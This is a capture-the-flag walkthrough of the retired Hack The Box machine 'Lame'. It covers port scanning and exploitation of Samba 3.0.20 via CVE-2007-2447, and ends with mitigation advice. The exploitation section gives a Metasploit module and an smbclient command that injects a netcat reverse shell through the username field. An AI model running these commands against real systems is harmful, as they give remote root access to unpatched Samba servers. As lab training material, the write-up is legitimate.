Lame
Quick facts
Section titled “Quick facts”| Platform | Hack The Box (retired) — the first HTB machine |
| OS | Linux (old Ubuntu) — lame |
| Difficulty | Easy |
| Approx. time | ~15 min |
| Chain | Samba 3.0.20 → CVE-2007-2447 (username map script) → direct RCE as root |
flowchart TD A["nmap: vsftpd 2.3.4, Samba 3.0.20, distccd"] --> B["Samba 3.0.20-Debian"] B -->|CVE-2007-2447: metacharacters in the username| C["RCE via SamrChangePassword"] C -->|smbd runs as root| D["Direct shell as root"]
- The first HTB machine. Nmap shows vsftpd 2.3.4 (backdoor CVE-2011-2523, which doesn’t bite here), distccd and, crucially, Samba 3.0.20-Debian.
- Samba 3.0.x with
username map scriptenabled is vulnerable to CVE-2007-2447: shell metacharacters in the username are executed on the server. Sincesmbdruns as root, a single exploit yields a root shell. No escalation: you land as root.
1. Reconnaissance
Section titled “1. Reconnaissance”-
Port scan
What I do:
Ventana de terminal IP=<target_ip>ports=$(sudo nmap -p- --min-rate 5000 -n -Pn $IP | grep '^[0-9]' | cut -d/ -f1 | paste -sd,)sudo nmap -sCV -p$ports $IP -oN nmap/targetedWhat I see:
21/tcp open ftp vsftpd 2.3.422/tcp open ssh OpenSSH 4.7p1139/tcp open netbios-ssn Samba smbd 3.X - 4.X445/tcp open netbios-ssn Samba smbd 3.0.20-Debian3632/tcp open distccd distccd v1 (GNU 4.2.4)What I think: old versions everywhere. Three candidates: vsftpd 2.3.4 (backdoor), distccd (CVE-2004-2687) and Samba 3.0.20. I go for the known, vulnerable versions. → Network service enumeration · Protocols and their weaknesses
2. Exploitation: Samba username map script
Section titled “2. Exploitation: Samba username map script”-
Rule out the vsftpd backdoor
What I do: vsftpd 2.3.4 has the CVE-2011-2523 backdoor (a
:)in the username opens a shell on 6200). I try it, but it doesn’t bite (the backdoor isn’t active in this build).What I think: I don’t dwell on it; I move to the next service with a known CVE.
-
Identify CVE-2007-2447 in Samba
What I do:
Ventana de terminal searchsploit "Samba 3.0.20"# Samba 3.0.20 < 3.0.25rc3 - 'Username' map script Command Execution (Metasploit)What I think: CVE-2007-2447: when
username map scriptis active insmb.conf,smbdpasses the username to a system script without sanitizing it. By putting shell metacharacters in the username (via MS-RPC’sSamrChangePassword), we execute whatever we want. → Protocols and their weaknesses: SMB -
Run the exploit
What I do: with Metasploit (the module is very polished for this case):
msfconsoleuse exploit/multi/samba/usermap_scriptset RHOSTS <target_ip>set LHOST <tun0>runOr manually, putting the payload in the username field of an SMB connection:
Ventana de terminal smbclient //$IP/tmp -U "/=`nohup nc -e /bin/bash <LHOST> 4444`" -NWhat I see:
iduid=0(root) gid=0(root)Why it works: the username with
`command`is interpolated into the mapping script thatsmbdruns as root, so the command runs with root privileges directly. There’s no escalation phase.user.txt→/home/makis/user.txt·root.txt→/root/root.txt(redacted).
Progressive hints
Section titled “Progressive hints”There are several old versions. Find which one has a direct command-execution CVE.
The vsftpd backdoor doesn’t bite here. Which Samba version is running?
Samba 3.0.20 + username map script. What happens if the username carries shell metacharacters?
Dead ends
Section titled “Dead ends”| What I tried | Result | How I ruled it out |
|---|---|---|
| vsftpd 2.3.4 backdoor (CVE-2011-2523) | “Exploit completed, but no session” | The backdoor wasn’t active; move to Samba |
| distccd (CVE-2004-2687) | Works but gives a user shell | Samba gave root directly, simpler |
Loot in the tmp share (RW) |
Nothing useful | The vector was the Samba CVE, not the files |
Methodology takeaways
Section titled “Methodology takeaways”- Many old versions → cross each with
searchsploit. Lame has several paths; pick the one that gives the most privilege with the fewest steps. - Don’t lock onto the first attempt. The vsftpd backdoor is eye-catching but doesn’t bite here; the second candidate (Samba) was the one.
- A service running as root that executes unsanitized input = RCE as root. Not every machine needs escalation.
- CVE-2007-2447 is the canonical command-injection example in a native service. Recognize the “metacharacters in a field that ends in a shell” pattern.
Detection and mitigation
Section titled “Detection and mitigation”| Phase | Detection | Mitigation |
|---|---|---|
| Scanning old services | IDS/IPS on known vulnerable banners | Keep services updated; retire unsupported software |
| CVE-2007-2447 exploitation | Anomalous smbd child processes; outbound connections |
Update Samba ≥ 3.0.25; don’t use username map script; run services with least privilege |
References
Section titled “References”- CVE-2007-2447 — Samba username map script (NVD): https://nvd.nist.gov/vuln/detail/CVE-2007-2447
- Samba — original security advisory: https://www.samba.org/samba/security/CVE-2007-2447.html